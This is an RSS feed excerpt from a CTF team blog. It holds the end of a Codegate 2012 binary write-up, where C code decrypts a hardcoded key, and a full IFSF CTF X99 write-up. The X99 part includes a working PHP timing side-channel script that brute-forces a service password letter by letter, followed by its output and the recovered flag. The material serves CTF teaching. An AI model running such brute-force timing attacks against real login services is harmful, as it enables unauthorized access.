    new_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>v1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> g_data<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#93;</span>   <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x1E</span><span style="color: #660099; font-weight: bold;">\xa0</span><span style="color: #660099; font-weight: bold;">\xf5</span><span style="color: #660099; font-weight: bold;">\xc6</span><span style="color: #660099; font-weight: bold;">\xD9</span><span style="color: #660099; font-weight: bold;">\xec</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\xf6</span><span style="color: #660099; font-weight: bold;">\x59</span><span style="color: #660099; font-weight: bold;">\x18</span><span style="color: #660099; font-weight: bold;">\x7c</span><span style="color: #660099; font-weight: bold;">\x2e</span><span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\x85</span><span style="color: #660099; font-weight: bold;">\x5d</span><span style="color: #660099; font-weight: bold;">\xde</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> hardcoded_keys<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x1E</span><span style="color: #660099; font-weight: bold;">\xAE</span><span style="color: #660099; font-weight: bold;">\xA1</span><span style="color: #660099; font-weight: bold;">\xC7</span><span style="color: #660099; font-weight: bold;">\xB3</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x6D</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x5A</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\x33</span><span style="color: #660099; font-weight: bold;">\xE4</span><span style="color: #660099; font-weight: bold;">\x5B</span><span style="color: #660099; font-weight: bold;">\xF0</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x8A</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> tmp_data<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	prem_data<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">uint32_t</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>tmp_data<span style="color: #339933;">,</span> g_data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	decrypt4 <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">uint32_t</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>hardcoded_keys<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">uint32_t</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>tmp_data<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>tmp_data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	tmp_data<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Key: %s&quot;</span><span style="color: #339933;">,</span> tmp_data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<blockquote><p>C:\ctf\codegate2012\bin200\tea_2\debug>tea.exe<br />
Key: <strong>&#038;I%W=K)l</strong></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/cogegate-2012-quals-binary-200/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>IFSF CTF #7 (X99) Write-up</title>
		<link>http://leetmore.ctf.su/wp/ifsf-ctf-x99/</link>
		<comments>http://leetmore.ctf.su/wp/ifsf-ctf-x99/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 13:18:06 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[ifsf]]></category>
		<category><![CDATA[side channel]]></category>
		<category><![CDATA[time]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2168</guid>
		<description><![CDATA[this is one of their machines which have very sensitive informations , try to get for us the password 208.64.122.27 PORT : 3000 X99 carries a synthetic vulnerability that allows a char-by-char password bruteforce. The setup The service gives us an auth request upon connection: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 99 _________ ______ ______ _ _ _____&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/ifsf-ctf-x99/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>this is one of their machines which have very sensitive informations ,<br />
 try to get for us the password </p>
<p> 208.64.122.27<br />
 PORT : 3000</p></blockquote>
<p>X99 carries a synthetic vulnerability that allows a char-by-char password bruteforce.<br />
<span id="more-2168"></span></p>
<h3>The setup</h3>
<p>The service gives us an auth request upon connection:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  <span style="color: #000000;">99</span>   _________   ______   ______  _    _  _____  ______   ______
\ \  <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">/</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  \ \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>
 <span style="color: #000000; font-weight: bold;">&gt;|</span>--<span style="color: #000000; font-weight: bold;">|&lt;</span>      <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>--<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>----
<span style="color: #000000; font-weight: bold;">/</span>_<span style="color: #000000; font-weight: bold;">/</span>  \_\     <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> _<span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>_ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____
&nbsp;
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
&nbsp;
Authentication Required
Password : pass
&nbsp;
Authentication Failed ....
Password : _</pre></div></div>

<h3>The time</h3>
<p>The thing that can be noticed, is that it hangs for a while when supplied password starts with &#8216;<strong>w</strong>&#8216;:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Authentication Required
Password : hello
&nbsp;
Authentication Failed ....
Password : world
   <span style="color: #000000; font-weight: bold;">***</span> <span style="color: #000000;">5</span> seconds pass.. <span style="color: #000000; font-weight: bold;">***</span>
Authentication Failed ....</pre></div></div>

<p>Turns out it is a synthetic <a href="http://en.wikipedia.org/wiki/Timing_attack" title="Timing attack on Wikipedia">time-based</a> <a href="http://en.wikipedia.org/wiki/Side_channel_attack" title="Side-channel on Wikipedia">side channel</a> analogue, with overboosted time delays.<br />
Each matching password letter increases the delay by <strong>5 seconds</strong>.</p>
<h3>The exploit</h3>
<p>The correct password can be found via bruteforcing password letter-by-letter, and here is a script for that:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">function</span> new_socket<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$sock</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;208.64.122.27&quot;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">fgets</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'Authentication Required'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">11</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Skip 'Password : '</span>
  <span style="color: #b1b100;">return</span> <span style="color: #000088;">$sock</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$charset</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sockets</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$times</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$guessed</span> <span style="color: #339933;">=</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'argv'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'argv'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// can resume session if anything goes wrong</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Guessed '<span style="color: #006699; font-weight: bold;">$guessed</span>'<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;    Creating sockets&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$charset</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$letter</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$sockets</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$letter</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> new_socket<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;   Writing passwords&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sockets</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$letter</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$guessed</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$letter</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;        Writing <span style="color: #000099; font-weight: bold;">\\</span>n's&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sockets</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$letter</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$times</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$letter</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Turning off blocking for read attempts</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Waiting for response&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sockets</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sockets</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$letter</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fgetc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$times</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$letter</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$times</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$letter</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sockets</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$letter</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'.'</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #990000;">usleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">10000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;===== Response times<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$nextLetter</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$times</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$letter</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$time</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">5</span> <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$guessed</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$nextLetter</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$letter</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;*<span style="color: #006699; font-weight: bold;">$letter</span>* - &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">round</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$letter</span> - &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">round</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$nextLetter</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$guessed</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$nextLetter</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Work done!<span style="color: #000099; font-weight: bold;">\n</span>Password is: <span style="color: #006699; font-weight: bold;">$guessed</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The script utilizes multiple connections to target server so it doesn&#8217;t have to wait <strong>5*N</strong> seconds for each letter from charset, instead all the charset is tried simultaneously.</p>
<p>Let&#8217;s run it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">F:\<span style="color: #000000; font-weight: bold;">&gt;</span>d:\php\php_fast.cmd x99.php
Guessed <span style="color: #ff0000;">''</span>
..............
..............
<span style="color: #000000; font-weight: bold;">***</span> approx. <span style="color: #000000;">30</span> mins later <span style="color: #000000; font-weight: bold;">***</span>
..............
Work <span style="color: #000000; font-weight: bold;">done</span><span style="color: #000000; font-weight: bold;">!</span>
Password is: w3_0wn_7h15_f0r_r34L</pre></div></div>

<p>Password: <strong>w3_0wn_7h15_f0r_r34L</strong></p>
<h3>The flag</h3>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  <span style="color: #000000;">99</span>   _________   ______   ______  _    _  _____  ______   ______
\ \  <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">/</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  \ \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>
 <span style="color: #000000; font-weight: bold;">&gt;|</span>--<span style="color: #000000; font-weight: bold;">|&lt;</span>      <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>--<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>----
<span style="color: #000000; font-weight: bold;">/</span>_<span style="color: #000000; font-weight: bold;">/</span>  \_\     <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> _<span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>_ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____
&nbsp;
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
&nbsp;
Authentication Required
Password : w3_0wn_7h15_f0r_r34L
&nbsp;
&nbsp;
&nbsp;
&nbsp;
